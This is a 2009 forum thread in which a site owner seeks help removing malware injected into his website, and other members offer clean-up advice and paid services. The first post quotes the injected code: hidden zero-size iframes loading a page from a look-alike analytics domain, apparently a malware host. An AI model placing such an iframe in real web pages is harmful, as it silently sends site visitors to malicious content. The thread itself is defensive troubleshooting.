Buying Virus removal from server (website)

Discussion in 'Programming' started by e-stonia, Oct 15, 2009.

  1. #1
    Hello,

    Anyone good at hunting down a virus (mailware) on a website? And getting rid of it. If you van help let me know and cost time etc.

    URL is http://www.oxy.co.uk

    Bing and chrome has listed the site with a warning as may contain a virus.

    When you vist the site virus software pops up to say that a virus (Nod32).

    It spears to try and open a file called pdf.php when the site loads with a link to a google stats site in kiev? Please, see the screenshot.

    Firefox reports the following as the problem in the body tag but I cannot find in the index.php

    <iframe src="http://yourgoogleanalytics.co.uk/statscounter/3752088/counter.php" width="0" frameborder="0" height="0"></iframe>
    Code (markup):
    Here is a snipet of the report from firefox

    <body>
    
    <iframe height="0" frameborder="0" width="0" src="http://yourgoogleanalytics.co.uk/statscounter/3752088/counter.php">
    
    </iframe>
    
    <iframe height="0" frameborder="0" width="0" src="http://yourgoogleanalytics.co.uk/statscounter/3752088/counter.php">
    
    </iframe>
    
    <div id="headerBG">
    
    </div>
    
    <div class="blockfixWrap">
    
    </div>
    
    <div id="panelstyles">
    
    </div>
    
    <div id="newsflashBG" class="style1">
    
    </div>
    
    <div id="mainlevel-bg">
    
    </div>
    
    <div class="clear"/>
    
    <div id="bottomModsBG">
    
    </div>
    
    <div id="footerBG">
    
    </div>
    
    <div style="display: none;">
    
    </div>
    
    <script type="text/javascript">
    
    </script>
    
    <script type="text/javascript" src="http://www.google-analytics.com/ga.js">
    
    </script>
    
    <script type="text/javascript">
    
    </script>
    
    <div style="padding: 8px; overflow: hidden; display: block; position: absolute; width: 990px; margin-left: auto;">
    
    </div>
    
    </body>
    Code (markup):
    Regards,

    Kaspar
     

    Attached Files:

    e-stonia, Oct 15, 2009 IP
  2. mytvtalk

    mytvtalk Active Member

    Messages:
    933
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    60
    As Seller:
    100% - 1
    As Buyer:
    100% - 0
    #2
    hi there, all you need to do mate is install mallwarebites on your system. i had this exact problem. then your ocmputer should find the trojans and get rid of them. once this is done delete the iframes from your site and change ur FTP password. you should be fine then
     
    mytvtalk, Oct 15, 2009 IP
  3. e-stonia

    e-stonia Active Member

    Messages:
    209
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    73
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #3
    Mytvtalk,

    Can you please, do it? How much would you charge?

    Rgrds,

    Kaspar
     
    e-stonia, Oct 15, 2009 IP
  4. e-stonia

    e-stonia Active Member

    Messages:
    209
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    73
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #4
    Thank's Mytvtalk - found time to do it myself finally. Your response was helpful!
     
    e-stonia, Oct 15, 2009 IP
  5. innovatewebs

    innovatewebs Well-Known Member

    Messages:
    194
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    101
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #5
    Hi
    I am expert in it i fixed many of website like this.
    Please contact me for better advice and perfect solution
    your site basically listed http://www.stopbadware.org most of search engine has tie up with stopbadware org.
    and search engine reported your site is harmful for others.
    Looking for your reply
     
    innovatewebs, Oct 15, 2009 IP
  6. ifreakz

    ifreakz Well-Known Member

    Messages:
    1,427
    Likes Received:
    13
    Best Answers:
    0
    Trophy Points:
    130
    As Seller:
    100% - 0
    As Buyer:
    0.0% - 0
    #6
    All you need to do is remove this line from your files, mostly index files are affected.
    try adding a php search script in your server and then search for this text yourgoogleanalyrics.co.uk and you'll figure out which files actually contain it.
     
    ifreakz, Oct 15, 2009 IP
  7. dwayne12

    dwayne12 Well-Known Member

    Messages:
    184
    Likes Received:
    5
    Best Answers:
    0
    Trophy Points:
    110
    As Seller:
    100% - 0
    As Buyer:
    100% - 0
    #7
    What you are experiencing is not a virus. You're most likely using a PHP script that is generating an iframe on your website. I can help you out, and you don't need to install any software whatsoever. I sent you a PM about the issue.
     
    dwayne12, Oct 15, 2009 IP
  8. mytvtalk

    mytvtalk Active Member

    Messages:
    933
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    60
    As Seller:
    100% - 1
    As Buyer:
    100% - 0
    #8
    no problem, glad i could help
     
    mytvtalk, Oct 15, 2009 IP